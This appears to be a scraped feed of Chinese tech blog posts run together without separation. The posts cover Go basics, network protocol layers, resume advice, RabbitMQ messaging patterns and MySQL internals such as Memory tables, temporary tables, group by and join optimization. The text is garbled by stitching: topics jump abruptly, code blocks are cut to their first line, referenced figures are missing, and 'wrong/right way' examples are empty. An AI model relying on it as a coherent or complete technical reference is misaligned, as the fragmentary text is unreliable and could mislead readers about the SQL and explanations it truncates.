Go 要求所有的函数体都要被花括号包裹起来,用来标记函数体。按照惯例,推荐把左花括号与函数声明置于同一行并以空格分隔。
Go 语言内置了一套 Go 社区约定俗称的代码风格,并随安装包提供了一个名为 Gofmt 的工具,这个工具可以帮助将代码自动格式化为约定的风格。
通过观察输出,可以发现,传入的字符串就是执行程序后在终端的标准输出上看到的字符串。
这种“所见即所得”得益于 Go 源码文件本身采用的是 Unicode 字符集,而且用的是 UTF-8 标准的字符编码方式,这与编译后的程序所运行的环境所使用的字符集和字符编码方式是一致的。
整个示例程序源码中,都没有使用过分号来标识语句的结束,这是因为,大多数分号都是可选的,常常被省略,不过在源码编译时,Go 编译器会自动插入这些被省略的分号。
所以加上分号也是完全合法的,只不过 gofmt 在按约定格式化代码时,会自动删除这些分号。
通过 hello world
示例程序,了解了 Go 的基本源码结构,以下是重点:
它将计算机网络体系结构的通信协议划分为七层,自下而上依次为:
除了标准的OSI七层模型以外,常见的网络层次划分还有TCP/IP四层协议以及TCP/IP五层协议,它们之间的对应关系如下图所示:
应用层是网络模型中的最上层。
我们能直接接触到的就是应用层,电脑或手机使用的应用软件都是在应用层实现的。那么,当两个不同设备的应用需要通信的时候,应用就把应用数据传给下一层,也就是传输层。
应用层只需要关注为用户提供应用功能,不用去关心数据是如何传输的。
应用层的数据包会传给传输层,传输层(Transport Layer)是为应用层提供网络支持的。
在传输层会有两个传输协议,分别是 TCP 和 UDP。
TCP 的全称叫传输层控制协议(Transmission Control Protocol),大部分应用使用的正是 TCP 传输层协议,比 如 HTTP 应用层协议。TCP 相比 UDP 多了很多特性,比如流控制、超时传、拥塞控制等,这些都是为了保证 数据包能可靠地传输给对方。
UDP 就相对很简单,简单到只负责发送数据包,不保证数据包是否能抵达对方,但它实时性相对更好,传输效率 也高。当然,UDP 也可以实现可靠传输,把 TCP 的特性在应用层上实现就可以,不过要实现一个商用的可靠 UDP 传输协议,也不是一件简单的事情。
实际场景中的网络环节是错综复杂的,中间有各种各样的线路和分叉路口,如果一个设备的数据要传输给另一个设备,就需要在各种各样的路径和节点进行选择,而传输层的设计理念是简单、高效、专注,如果传输层还负责这一块功能就有点违背设计原则了。
也就是说,我们不希望传输层协议处理太多的事情,只需要服务好应用即可,让其作为应用间数据传输的媒介,帮 助实现应用到应用的通信,而实际的传输功能就交给下一层,也就是网络层(Internet Layer)。
网络层最常使用的是 IP 协议(Internet Protocol),IP 协议会将传输层的报文作为数据部分,再加上 IP 包头组装 成 IP 报文,如果 IP 报文大小超过 MTU(以太网中一般为 1500 字节)就会再次进行分片,得到一个即将发送到网 络的 IP 报文。
网络层负责将数据从一个设备传输到另一个设备,世界上那么多设备,又该如何找到对方呢?因此,网络层需要有区分设备的编号。
我们一般用 IP 地址给设备进行编号,对于 IPv4 协议, IP 地址共 32 位,分成了四段,每段是 8 位。只有一个单纯 的 IP 地址虽然做到了区分设备,但是寻址起来就特别麻烦,全世界那么多台设备,难道一个一个去匹配?这显然 不科学。
因此,需要将 IP 地址分成两种意义:
怎么分的呢?这需要配合子网掩码才能算出 IP 地址 的网络号和主机号。那么在寻址的过程中,先匹配到相同的网络号,才会去找对应的主机。
除了寻址能力, IP 协议还有另一个要的能力就是路由。实际场景中,两台设备并不是用一条网线连接起来的, 而是通过很多网关、路由器、交换机等众多网络设备连接起来的,那么就会形成很多条网络的路径,因此当数据包 到达一个网络节点,就需要通过算法决定下一步走哪条路径。
所以,IP 协议的寻址作用是告诉我们去往下一个目的地该朝哪个方向走,路由则是根据「下一个目的地」选择路 径。寻址更像在导航,路由更像在操作方向盘。
实际场景中,网络并不是一个整体,比如你家和我家就不属于一个网络,所以数据不仅可以在同一个网络中设备间进行传输,也可以跨网络进行传输。
一旦数据需要跨网络传输,就需要有一个设备同时在两个网络当中,这个设备一般是路由器,路由器可以通过路由 表计算出下一个要去的 IP 地址。
那问题来了,路由器怎么知道这个 IP 地址是哪个设备的呢?
于是,就需要有一个专⻔的层来标识网络中的设备,让数据在一个链路中传输,这就是数据链路层(Data Link Layer),它主要为网络层提供链路级别传输的服务。
每一台设备的网卡都会有一个 MAC 地址,它就是用来唯一标识设备的。路由器计算出了下一个目的地 IP 地址,再 通过 ARP 协议找到该目的地的 MAC 地址,这样就知道这个 IP 地址是哪个设备的了。
网络层与数据链路层有什么关系呢?
Mac 的作用是实现『直连』的两个设备之间的通信,而 IP 则负责在『没有直连』的两个网络之间进行通信传输。
当数据准备要从设备发送到网络时,需要把数据包转换成电信号,让其可以在物理介质中传输,这一层就是物理层 (Physical Layer),它主要是为数据链路层提供二进制传输的服务。
网络协议通常是从上到下,分成五层,分别是应用层、传输层、网络层、数据链路层、物理层。
那么什么样的简历算写得不好呢?
命中下面的多条
简历一定写上自己的基本信息。
一般基本信息包括姓名、电话、电子邮箱、贯籍、求职意向、工作年限、年龄、在职状态、学历等这几部分。
技术栈不能是单词本,要凸显技术细节,把你现在会的、已经掌握的,尽可能多地陈述给面试官。
错误的打开方式:
正确的打开方式:
个人评价这一块很重要,但是往往很多人的写法都是有问题的,完全看不出个性特点,写和没写没什么区别。
错误的打开方式:
正确的打开方式:
不管工作多久,简历上的项目只需要三四个,不需要凑字数,比如一些老项目,没有亮点的项目,就不要写上去。
错误的打开方式:
正确的打开方式:
不要害怕写简历,不要敷衍写简历,简历上一定不要有错别字,这个很影响第一印象。
写在简历上的任何内容,都是有可能被问到的,所以要提前做好功课,不打没有准备的仗。
找工作应该抱着怎样的心态?
不管这家公司的面试能不能过,但最起码要把面试的机会争取到
]]>最简单的工作队列,其中一个消息生产者,一个消息消费者,一个队列。也称为点对点模式
一个生产者 P 发送消息到队列 Q,一个消费者 C 进行接收。
一个消息生产者,一个交换器,一个消息队列,多个消费者。同样也称为点对点模式
生产者 P 发送消息到队列,多个消费者 C 消费队列的数据。
工作队列也称为公平性队列模式,循环分发,RabbitMQ 将按顺序将每条消息发送给下一个消费者,每个消费者将获得相同数量的消息。
一个消息生产者,一个交换机(交换机类型为fanout),多个消息队列,多个消费者。称为发布/订阅模式
在应用中,只需要简单的将队列绑定到交换机上。一个发送到交换机的消息都会被转发到与该交换机绑定的所有队列上。很像子网广播,每台子网内的主机都获得了一份复制的消息。
生产者 P 只需把消息发送到交换机X,绑定这个交换机的队列都会获得一份一样的数据。
在发布/订阅模式的基础上,有选择的接收消息,也就是通过 routing 路由进行匹配条件是否满足接收消息。
在路由模式下,会把消息路由到哪些 binding key 与 routing key 完全匹配的 Queue。
生产者P发送数据是要指定交换机(X)和routing发送消息 ,指定的routingKey=error,则队列Q1和队列Q2都会有一份数据,如果指定routingKey=into,或=warning,交换机(X)只会把消息发到Q2队列。
主题模式和路由模式类似,只不过路由模式是指定固定的路由键 routingKey,而主题模式是可以模糊匹配路由键 routingKey,类似于SQL中 = 和 like 的关系。
DLX 全称是 Dead-Letter-Exchange,死信交换机。
当一个队列中的消息变成死信之后,会被重新发送到另一个交换机,这个交换机就是 DLX,而绑定 DLX 的队列就是死信队列。
什么情况下会变成死信呢?
延时队列就是当消息发送以后,并不想让消费者立刻拿到消息,而是等待特定时间后消费者才能拿到消息来消费。
延时功能可以通过设置过期时间(TTL)+死信队列(DLX)来实现。
当已经存在一个队列了,此时再次声明相同名称的队列时,如果属性不一致,就会出现错误。
inequivalent arg ‘x-message-ttl’ for queue
解决办法就是,删除掉已经存在的队列。
因为 RabbitMQ 有多种工作方式,在不同工作模式下,消息投递到队列的方式是不一样的。
起初会疑惑,事务是可以单独开启,也就是通过 begin/start transaction
这类命令,显式的开启事务。
那我单独的执行一个 update 语句时,是不是就表示没有开启事务?
并不是的,在 Mysql 中,有一个 autocommit
的参数,它表示是否自动启用事务,默认是启用的,
当我们没有显式地使用 begin/start transaction
时,直接执行一个 update 语句,表示这个 update 语句本身就是一个事务,语句完成的时候会自动提交。
你可能会问,既然有了这个自动启用事务,那为什么还需要手动来启用事务呢?
这是因为为了保证原子性,开发时,常常会遇到某个逻辑里面可能含有多个 MDL 操作,我们可能希望,这些操作要么全部成功,要么全部失败,那么这个时候,就会选择手动开启事务,将这些操作放在一个事务里面。
所以,我们在执行的任何一个 MDL 语句,都是带有事务的,只是,这类事务通常是自动启用/提交的,对于客户端的使用者来说,其过程是无感知的。
另外还有几点需要注意:
begin/start transaction
命令并不是一个事务的起点,在执行到它们之后的第一个操作 InnoDB 表的语句,事务才真正启动。start transaction with consistent snapshot
其实对于小公司的业务而言,数据库不太容易发生死锁的,也就是说,只要没有开启了但未释放的事务,或者长事务未提交以及慢查询这些,基本上不会出现死锁的问题。
(一个慢查询会导致表锁,此时对这张表进行增删改查都会被锁住。)
toC 场景的系统大多要面对较高的 QPS,即使是小型/中型公司使用 MySQL,没有那么高的查询量,单表数据在百万量级也属常见。
对于小公司来说,DB 同时又是非常脆弱的一环,因为只要一个工程师不慎将不带索引的查询代码带上线,就会导致线上事故。
]]>课程重点:
为了便于分析,我来把这个问题简化一下,假设有以下的两张表 t1 和 t2,其中表 t1 使用 Memory 引擎, 表 t2 使用 InnoDB 引擎。
1 | create table t1(id int primary key, c int) engine=Memory; |
然后,分别执行 select * from t1 和 select * from t2
可以看到,内存表 t1 的返回结果里面 0 在最后一行,而 InnoDB 表 t2 的返回结果里 0 在第一行。
出现这个区别的原因,要从这两个引擎的主键索引的组织方式说起。
表 t2 用的是 InnoDB 引擎,它的主键索引 id 的组织方式,你已经很熟悉了:InnoDB 表的数据就放在主键索引树上,主键索引是 B+ 树。所以表 t2 的数据组织方式如下图所示:
主键索引上的值是有序存储的。在执行 select * 的时候,就会按照叶子节点从左到右扫描,所以得到的结果里,0 就出现在第一行。
与 InnoDB 引擎不同,Memory 引擎的数据和索引是分开的。再来看一下表 t1 中的数据内容。
可以看到,内存表的数据部分以数组的方式单独存放,而主键 id 索引里,存的是每个数据的位置。主键 id 是 hash 索引,可以看到索引上的 key 并不是有序的。
在内存表 t1 中,当我执行 select * 的时候,走的是全表扫描,也就是顺序扫描这个数组。因此,0 就是最后一个被读到,并放入结果集的数据。
可见,InnoDB 和 Memory 引擎的数据组织方式是不同的:
从中我们可以看出,这两个引擎的一些典型不同:
由于内存表的这些特性,每个数据行被删除以后,空出的这个位置都可以被接下来要插入的数据复用。比如,如果要在表 t1 中执行:
1 | delete from t1 where id=5; |
就会看到返回结果里,id=10 这一行出现在 id=4 之后,也就是原来 id=5 这行数据的位置。
需要指出的是,表 t1 的这个主键索引是哈希索引,因此如果执行范围查询,比如:
1 | select * from t1 where id<5; |
是用不上主键索引的,需要走全表扫描。你可以借此再回顾下第 4 篇文章的内容。那如果要让内存表支持范围扫描,应该怎么办呢 ?
实际上,内存表也是支 B-Tree 索引的。在 id 列上创建一个 B-Tree 索引,SQL 语句可以这么写:
1 | alter table t1 add index a_btree_index using btree (id); |
这时,表 t1 的数据组织形式就变成了这样:
新增的这个 B-Tree 索引你看着就眼熟了,这跟 InnoDB 的 b+ 树索引组织形式类似。
作为对比,你可以看一下这下面这两个语句的输出:
可以看到,执行 select * from t1 where id<5 的时候,优化器会选择 B-Tree 索引,所以返回结果是 0 到 4。 使用 force index 强行使用主键 id 这个索引,id=0 这一行就在结果集的最末尾了。
其实,一般在我们的印象中,内存表的优势是速度快,其中的一个原因就是 Memory 引擎支持 hash 索引。当然,更重要的原因是,内存表的所有数据都保存在内存,而内存的读写速度总是比磁盘快。
但是,接下来我要跟你说明,为什么我不建议你在生产环境上使用内存表。这里的原因主要包括两个方面:
我们先来说说内存表的锁粒度问题。
内存表不支持行锁,只支持表锁。因此,一张表只要有更新,就会堵住其他所有在这个表上的读写操作。
需要注意的是,这里的表锁跟之前我们介绍过的 MDL 锁不同,但都是表级的锁。接下来,我通过下面这个场景,跟你模拟一下内存表的表级锁。
在这个执行序列里,session A 的 update 语句要执行 50 秒,在这个语句执行期间 session B 的查询会进入锁等待状态。session C 的 show processlist 结果输出如下:
跟行锁比起来,表锁对并发访问的支持不够好。所以,内存表的锁粒度问题,决定了它在处理并发事务的时候,性能也不会太好。
接下来,我们再看看数据持久性的问题。
数据放在内存中,是内存表的优势,但也是一个劣势。因为,数据库重启的时候,所有的内存表都会被清空。
内存表并不适合在生产环境上作为普通数据表使用。
有同学会说,但是内存表执行速度快呀。这个问题,其实你可以这么分析:
所以,建议把普通内存表都用 InnoDB 表来代替。但是,有一个场景却是例外的。
这个场景就是,我们在第 35 和 36 篇说到的用户临时表。在数据量可控,不会耗费过多内存的情况下,你可以考虑使用内存表。
内存临时表刚好可以无视内存表的两个不足,主要是下面的三个原因:
现在,我们回过头再看一下第 35 篇 join 语句优化的例子,当时我建议的是创建一个 InnoDB 临时表,使用的语句序列是:
1 | create temporary table temp_t(id int primary key, a int, b int, index(b))engine=innodb; |
了解了内存表的特性,你就知道了, 其实这里使用内存临时表的效果更好,原因有三个:
因此,你可以对第 35 篇文章的语句序列做一个改写,将临时表 t1 改成内存临时表,并且在字段 b 上创建一个 hash 索引。
1 | create temporary table temp_t(id int primary key, a int, b int, index (b))engine=memory; |
课程重点:
为了便于量化分析,我用下面的表 t1 来举例:
1 | create table t1(id int primary key, a int, b int, index(a)); |
然后,我们执行下面这条语句:
1 | (select 1000 as f) union (select id from t1 order by id desc limit 2); |
这条语句用到了 union,它的语义是,取这两个子查询结果的并集。并集的意思就是这两个集合加起来,重复的行只保留一行。
下图是这个语句的 explain 结果。
可以看到:
这个语句的执行流程是这样的:
这个过程的流程图如下所示:
可以看到,这里的内存临时表起到了暂存数据的作用,而且计算过程还用上了临时表主键 id 的唯一性约束,实现了 union 的语义。
顺便提一下,如果把上面这个语句中的 union 改成 union all 的话,就没有了“去重”的语义。这样执行的时候,就依次执行子查询,得到的结果直接作为结果集的一部分,发给客户端。因此也就不需要临时表了。
可以看到,第二行的 Extra 字段显示的是 Using index,表示只使用了覆盖索引,没有用临时表了。
另外一个常见的使用临时表的例子是 group by,我们来看一下这个语句:
1 | select id%10 as m, count(*) as c from t1 group by m; |
这个语句的逻辑是把表 t1 里的数据,按照 id%10 进行分组统计,并按照 m 的结果排序后输出。它的 explain 结果如下:
在 Extra 字段里面,我们可以看到三个信息:
这个语句的执行流程是这样的:
这个流程的执行图如下:
其中,对于内存临时表的排序在前面的章节已经介绍过。
接下来再来看看另一条语句的执行结果:
1 | select id%10 as m, count(*) as c from t1 group by m; |
如果你的需求并不需要对结果进行排序,那你可以在 SQL 语句末尾增加 order by null,也就是改成:
1 | select id%10 as m, count(*) as c from t1 group by m order by null; |
这样就跳过了最后排序的阶段,直接从临时表中取数据返回。返回的结果如下图所示:
由于表 t1 中的 id 值是从 1 开始的,因此返回的结果集中第一行是 id=1;扫描到 id=10 的时候才插入 m=0 这一行,因此结果集里最后一行才是 m=0。
这个例子里由于临时表只有 10 行,内存可以放得下,因此全程只使用了内存临时表。但是,内存临时表的大小是有限制的,参数 tmp_table_size 就是控制这个内存大小的,默认是 16M。
如果执行下面这个语句:
1 | set tmp_table_size=1024; |
把内存临时表的大小限制为最大 1024 字节,并把语句改成 id % 100,这样返回结果里有 100 行数据。但是,这时的内存临时表大小不够存下这 100 行数据,也就是说,执行过程中会发现内存临时表大小到达了上限(1024 字节)。
那么,这时候就会把内存临时表转成磁盘临时表,磁盘临时表默认使用的引擎是 InnoDB。 这时,返回的结果如下图所示:
如果这个表 t1 的数据量很大,很可能这个查询需要的磁盘临时表就会占用大量的磁盘空间。
可以看到,不论是使用内存临时表还是磁盘临时表,group by 逻辑都需要构造一个带唯一索引的表,执行代价都是比较高的。如果表的数据量比较大,上面这个 group by 语句执行起来就会很慢,我们有什么优化的方法呢?
要解决 group by 语句的优化问题,你可以先想一下这个问题:执行 group by 语句为什么需要临时表?
group by 的语义逻辑,是统计不同的值出现的个数。但是,由于每一行的 id%100 的结果是无序的,所以我们就需要有一个临时表,来记录并统计结果。
那么,如果扫描过程中可以保证出现的数据是有序的,是不是就简单了呢?
假设,现在有一个类似图 10 的这么一个数据结构,我们来看看 group by 可以怎么做。
可以看到,如果可以确保输入的数据是有序的,那么计算 group by 的时候,就只需要从左到右,顺序扫描,依次累加。也就是下面这个过程:
按照这个逻辑执行的话,扫描到整个输入的数据结束,就可以拿到 group by 的结果,不需要临时表,也不需要再额外排序。
你一定想到了,InnoDB 的索引,就可以满足这个输入有序的条件。
在 MySQL 5.7 版本支持了 generated column 机制,用来实现列数据的关联更新。你可以用下面的方法创建一个列 z,然后在 z 列上创建一个索引(如果是 MySQL 5.6 及之前的版本,你也可以创建普通列和索引,来解决这个问题)。
1 | alter table t1 add column z int generated always as(id % 100), add index(z); |
这样,索引 z 上的数据就是类似图 10 这样有序的了。上面的 group by 语句就可以改成:
1 | select z, count(*) as c from t1 group by z; |
优化后的 group by 语句,不再需要临时表,也不需要排序了。
所以,如果可以通过加索引来完成 group by 逻辑就再好不过了。但是,如果碰上不适合创建索引的场景,我们还是要老老实实做排序的。那么,这时候的 group by 要怎么优化呢?
如果我们明明知道,一个 group by 语句中需要放到临时表上的数据量特别大,却还是要按照“先放到内存临时表,插入一部分数据后,发现内存临时表不够用了再转成磁盘临时表”,看上去就有点儿傻。
那么,我们就会想了,MySQL 有没有让我们直接走磁盘临时表的方法呢?
答案是,有的。
在 group by 语句中加入 SQL_BIG_RESULT 这个提示(hint),就可以告诉优化器:这个语句涉及的数据量很大,请直接用磁盘临时表。
MySQL 的优化器一看,磁盘临时表是 B+ 树存储,存储效率不如数组来得高。所以,既然你告诉我数据量很大,那从磁盘空间考虑,还是直接用数组来存吧。
1 | select SQL_BIG_RESULT id%100 as m, count(*) as c from t1 group by m; |
因此,上面这个语句执行流程就是这样的:
根据有序数组,得到数组里面的不同值,以及每个值的出现次数。这一步的逻辑,你已经从前面的图中了解过了。
下面两张图分别是执行流程图和执行 explain 命令得到的结果。
优化后的 group by 语句,没有再使用临时表,而是直接用了排序算法。
基于上面的 union、union all 和 group by 语句的执行过程的分析,我们来回答文章开头的问题:MySQL 什么时候会使用内部临时表?
课程重点:
在上一篇文章中,在优化 join 查询的时候使用到了临时表。当时,是这么用的:
1 | create temporary table temp_t like t1; |
你可能会有疑问,为什么要用临时表呢?直接用普通表是不是也可以呢?
今天我们就从这个问题说起:临时表有哪些特征,为什么它适合这个场景?
这里,我需要先帮你厘清一个容易误解的问题:有的人可能会认为,临时表就是内存表。但是,这两个概念可是完全不同的。
create table … engine=memory
。这种表的数据都保存在内存里,系统重启的时候会被清空,但是表结构还在。除了这两个特性看上去比较“奇怪”外,从其他的特征上看,它就是一个正常的表。弄清楚了内存表和临时表的区别以后,我们再来看看临时表有哪些特征。
为了便于理解,我们来看下下面这个操作序列:
可以看到,临时表在使用上有以下几个特点:
create temporary table …
。由于临时表只能被创建它的 session 访问,所以在这个 session 结束的时候,会自动删除临时表。也正是由于这个特性,临时表就特别适合我们文章开头的 join 优化这种场景。为什么呢?
原因主要包括以下两个方面:
由于不用担心线程之间的重名冲突,临时表经常会被用在复杂查询的优化过程中。其中,分库分表系统的跨库查询就是一个典型的使用场景。
当我们使用建表语句创建临时表时:
1 | create temporary table temp_t(id int primary key)engine=innodb; |
这个时候,MySQL 要给这个 InnoDB 表创建一个 frm 文件保存表结构定义,还要有地方保存表数据。
这个 frm 文件放在临时文件目录下,文件名的后缀是.frm,前缀是“#sql{进程 id}{线程 id} 序列号”。你可以使用 select @@tmpdir 命令,来显示实例的临时文件目录。
而关于表中数据的存放方式,在不同的 MySQL 版本中有着不同的处理方式:
从文件名的前缀规则,我们可以看到,其实创建一个叫作 t1 的 InnoDB 临时表,MySQL 在存储上认为我们创建的表名跟普通表 t1 是不同的,因此同一个库下面已经有普通表 t1 的情况下,还是可以再创建一个临时表 t1 的。
为了便于后面讨论,我先来举一个例子。
临时表的命名:
这个进程的进程号是 1234,session A 的线程 id 是 4,session B 的线程 id 是 5。所以你看到了,session A 和 session B 创建的临时表,在磁盘上的文件不会重名。
MySQL 维护数据表,除了物理上要有文件外,内存里面也有一套机制区别不同的表,每个表都对应一个 table_def_key。
一个普通表的 table_def_key 的值是由“库名 + 表名”得到的,所以如果你要在同一个库下创建两个同名的普通表,创建第二个表的过程中就会发现 table_def_key 已经存在了。
而对于临时表,table_def_key 在“库名 + 表名”基础上,又加入了“server_id+thread_id”。
也就是说,session A 和 sessionB 创建的两个临时表 t1,它们的 table_def_key 不同,磁盘文件名也不同,因此可以并存。
在实现上,每个线程都维护了自己的临时表链表。这样每次 session 内操作表的时候,先遍历链表,检查是否有这个名字的临时表,如果有就优先操作临时表,如果没有再操作普通表;在 session 结束的时候,对链表里的每个临时表,执行 “DROP TEMPORARY TABLE + 表名”操作。
课程重点:
在上一篇文章中,了解了 join 语句的两种算法,分别是 Index Nested-Loop Join(NLJ) 和 Block Nested-Loop Join(BNL)。
NLJ 算法,效果其实还是不错的,比通过应用层拆分成多个语句然后再拼接查询结果更方便,而且性能也不会差。
但是,BNL 算法在大表 join 的时候性能就差多了,比较次数等于两个表参与 join 的行数的乘积,很消耗 CPU 资源。
在介绍 join 语句的优化方案之前,我需要先和你介绍一个知识点,即:Multi-Range Read 优化 (MRR)。这个优化的主要目的是尽量使用顺序读盘。
在第 4 篇文章中,我和你介绍 InnoDB 的索引结构时,提到了“回表”的概念。我们先来回顾一下这个概念。回表是指,InnoDB 在普通索引 a 上查到主键 id 的值后,再根据一个个主键 id 的值到主键索引上去查整行数据的过程。
因为主键索引是一棵 B+ 树,在这棵树上,每次只能根据一个主键 id 查到一行数据。因此,回表是一行行搜索主键索引的,基本流程如图 1 所示。
如果随着 a 的值递增顺序查询的话,id 的值就变成随机的,那么就会出现随机访问,性能相对较差。虽然“按行查”这个机制不能改,但是调整查询的顺序,还是能够加速的。
因为大多数的数据都是按照主键递增顺序插入得到的,所以我们可以认为,如果按照主键的递增顺序查询的话,对磁盘的读比较接近顺序读,能够提升读性能。
这就是 MRR 优化的设计思路。此时,语句的执行流程变成了这样:
这里,read_rnd_buffer 的大小是由 read_rnd_buffer_size 参数控制的。如果步骤 1 中,read_rnd_buffer 放满了,就会先执行完步骤 2 和 3,然后清空 read_rnd_buffer。之后继续找索引 a 的下个记录,并继续循环。
另外需要说明的是,如果你想要稳定地使用 MRR 优化的话,需要设置set optimizer_switch=”mrr_cost_based=off”。(官方文档的说法,是现在的优化器策略,判断消耗的时候,会更倾向于不使用 MRR,把 mrr_cost_based 设置为 off,就是固定使用 MRR 了。)
下面两幅图就是使用了 MRR 优化后的执行流程和 explain 结果。
MRR 执行流程的 explain 结果:
从图 3 的 explain 结果中,我们可以看到 Extra 字段多了 Using MRR,表示的是用上了 MRR 优化。而且,由于我们在 read_rnd_buffer 中按照 id 做了排序,所以最后得到的结果集也是按照主键 id 递增顺序的,也就是与图 1 结果集中行的顺序相反。
MRR 能够提升性能的核心在于,这条查询语句在索引 a 上做的是一个范围查询(也就是说,这是一个多值查询),可以得到足够多的主键 id。这样通过排序以后,再去主键索引查数据,才能体现出“顺序性”的优势。
理解了 MRR 性能提升的原理,我们就能理解 MySQL 在 5.6 版本后开始引入的 Batched Key Access(BKA) 算法了。这个 BKA 算法,其实就是对 NLJ 算法的优化。
我们再来看看上一篇文章中用到的 NLJ 算法的流程图:
NLJ 算法执行的逻辑是:从驱动表 t1,一行行地取出 a 的值,再到被驱动表 t2 去做 join。也就是说,对于表 t2 来说,每次都是匹配一个值。这时,MRR 的优势就用不上了。
那怎么才能一次性地多传些值给表 t2 呢?方法就是,从表 t1 里一次性地多拿些行出来,一起传给表 t2。
既然如此,我们就把表 t1 的数据取出来一部分,先放到一个临时内存。这个临时内存不是别人,就是 join_buffer。
通过上一篇文章,我们知道 join_buffer 在 BNL 算法里的作用,是暂存驱动表的数据。但是在 NLJ 算法里并没有用。那么,我们刚好就可以复用 join_buffer 到 BKA 算法中。
如图 5 所示,是上面的 NLJ 算法优化后的 BKA 算法的流程。
图中,我在 join_buffer 中放入的数据是 P1P100,表示的是只会取查询需要的字段。当然,如果 join buffer 放不下 P1P100 的所有数据,就会把这 100 行数据分成多段执行上图的流程。
那么,这个 BKA 算法到底要怎么启用呢?
如果要使用 BKA 优化算法的话,你需要在执行 SQL 语句之前,先设置
1 | set optimizer_switch='mrr=on,mrr_cost_based=off,batched_key_access=on'; |
其中,前两个参数的作用是要启用 MRR。这么做的原因是,BKA 算法的优化要依赖于 MRR。
说完了 NLJ 算法的优化,再来看 BNL 算法的优化。
由于 InnoDB 对 Bufffer Pool 的 LRU 算法做了优化,即:第一次从磁盘读入内存的数据页,会先放在 old 区域。如果 1 秒之后这个数据页不再被访问了,就不会被移动到 LRU 链表头部,这样对 Buffer Pool 的命中率影响就不大。
但是,如果一个使用 BNL 算法的 join 语句,多次扫描一个冷表,而且这个语句执行时间超过 1 秒,就会在再次扫描冷表的时候,把冷表的数据页移到 LRU 链表头部。
这种情况对应的,是冷表的数据量小于整个 Buffer Pool 的 3/8,能够完全放入 old 区域的情况。
如果这个冷表很大,就会出现另外一种情况:业务正常访问的数据页,没有机会进入 young 区域。
由于优化机制的存在,一个正常访问的数据页,要进入 young 区域,需要隔 1 秒后再次被访问到。但是,由于我们的 join 语句在循环读磁盘和淘汰内存页,进入 old 区域的数据页,很可能在 1 秒之内就被淘汰了。这样,就会导致这个 MySQL 实例的 Buffer Pool 在这段时间内,young 区域的数据页没有被合理地淘汰。
也就是说,这两种情况都会影响 Buffer Pool 的正常运作。
大表 join 操作虽然对 IO 有影响,但是在语句执行结束后,对 IO 的影响也就结束了。但是,对 Buffer Pool 的影响就是持续性的,需要依靠后续的查询请求慢慢恢复内存命中率。
为了减少这种影响,你可以考虑增大 join_buffer_size 的值,减少对被驱动表的扫描次数。
也就是说,BNL 算法对系统的影响主要包括三个方面:
我们执行语句之前,需要通过理论分析和查看 explain 结果的方式,确认是否要使用 BNL 算法。如果确认优化器会使用 BNL 算法,就需要做优化。优化的常见做法是,给被驱动表的 join 字段加上索引,把 BNL 算法转成 BKA 算法。
一些情况下,我们可以直接在被驱动表上建索引,这时就可以直接转成 BKA 算法了。
但是,有时候你确实会碰到一些不适合在被驱动表上建索引的情况。比如下面这个语句:
1 | select * from t1 join t2 on (t1.b=t2.b) where t2.b>=1 and t2.b<=2000; |
我们在文章开始的时候,在表 t2 中插入了 100 万行数据,但是经过 where 条件过滤后,需要参与 join 的只有 2000 行数据。如果这条语句同时是一个低频的 SQL 语句,那么再为这个语句在表 t2 的字段 b 上创建一个索引就很浪费了。
但是,如果使用 BNL 算法来 join 的话,这个语句的执行流程是这样的:
我在上一篇文章中说过,对于表 t2 的每一行,判断 join 是否满足的时候,都需要遍历 join_buffer 中的所有行。因此判断等值条件的次数是 1000*100 万 =10 亿次,这个判断的工作量很大。
可以看到,explain 结果里 Extra 字段显示使用了 BNL 算法。在我的测试环境里,这条语句需要执行 1 分 11 秒。
在表 t2 的字段 b 上创建索引会浪费资源,但是不创建索引的话这个语句的等值条件要判断 10 亿次,想想也是浪费。那么,有没有两全其美的办法呢?
这时候,我们可以考虑使用临时表。使用临时表的大致思路是:
1 | create temporary table temp_t(id int primary key, a int, b int, index(b))engine=innodb; |
可以看到,整个过程 3 个语句执行时间的总和还不到 1 秒,相比于前面的 1 分 11 秒,性能得到了大幅提升。接下来,我们一起看一下这个过程的消耗:
执行 insert 语句构造 temp_t 表并插入数据的过程中,对表 t2 做了全表扫描,这里扫描行数是 100 万。
之后的 join 语句,扫描表 t1,这里的扫描行数是 1000;join 比较过程中,做了 1000 次带索引的查询。相比于优化前的 join 语句需要做 10 亿次条件判断来说,这个优化效果还是很明显的。
总体来看,不论是在原表上加索引,还是用有索引的临时表,我们的思路都是让 join 语句能够用上被驱动表上的索引,来触发 BKA 算法,提升查询性能。
课程重点:
为了便于量化分析,我还是创建两个表 t1 和 t2 来和你说明。
1 | CREATE TABLE `t2` ( |
可以看到,这两个表都有一个主键索引 id 和一个索引 a,字段 b 上无索引。存储过程 idata() 往表 t2 里插入了 1000 行数据,在表 t1 里插入的是 100 行数据。
先来看一下这个语句:
1 | select * from t1 straight_join t2 on (t1.a=t2.a); |
这里改用 straight_join
让 MySQL 使用固定的连接方式执行查询,这样优化器只会按照我们指定的方式去 join。在这个语句里,t1 是驱动表,t2 是被驱动表。
现在,我们来看一下这条语句的 explain 结果。
可以看到,在这条语句里,被驱动表 t2 的字段 a 上有索引,join 过程用上了这个索引,因此这个语句的执行流程是这样的:
这个过程是先遍历表 t1,然后根据从表 t1 中取出的每行数据中的 a 值,去表 t2 中查找满足条件的记录。在形式上,这个过程就跟我们写程序时的嵌套查询类似,并且可以用上被驱动表的索引,所以我们称之为“Index Nested-Loop Join”,简称 NLJ。
对应的流程图如下所示:
在这个流程里:
在知道了这个过程之后,再来回答一下文章开头的两个问题。
先看第一个问题:能不能使用 join?
这里假设不使用 join,那就只能用单表查询。我们看看上面这条语句的需求,用单表查询怎么实现。
可以看到,在这个查询过程,也是扫描了 200 行,但是总共执行了 101 条语句,比直接 join 多了 100 次交互。除此之外,客户端还要自己拼接 SQL 语句和结果。
显然,这么做还不如直接 join 来得方便。
那么再来看看第二个问题:怎么选择驱动表?
在这个 join 语句执行过程中,驱动表是走全表扫描,而被驱动表是走树搜索。
假设被驱动表的行数是 M。每次在被驱动表查一行数据,要先搜索索引 a,再搜索主键索引。每次搜索一棵树近似复杂度是以 2 为底的 M 的对数,记为 log2M,所以在被驱动表上查一行的时间复杂度是 2*log2M。
假设驱动表的行数是 N,执行过程就要扫描驱动表 N 行,然后对于每一行,到被驱动表上匹配一次。
因此整个执行过程,近似复杂度是 N + N2log2M。
显然,N 对扫描行数的影响更大,因此应该让小表来做驱动表。
到这里小结一下,通过上面的分析我们得到了两个结论:
现在,我们把 SQL 语句改成这样:
1 | select * from t1 straight_join t2 on (t1.a=t2.b); |
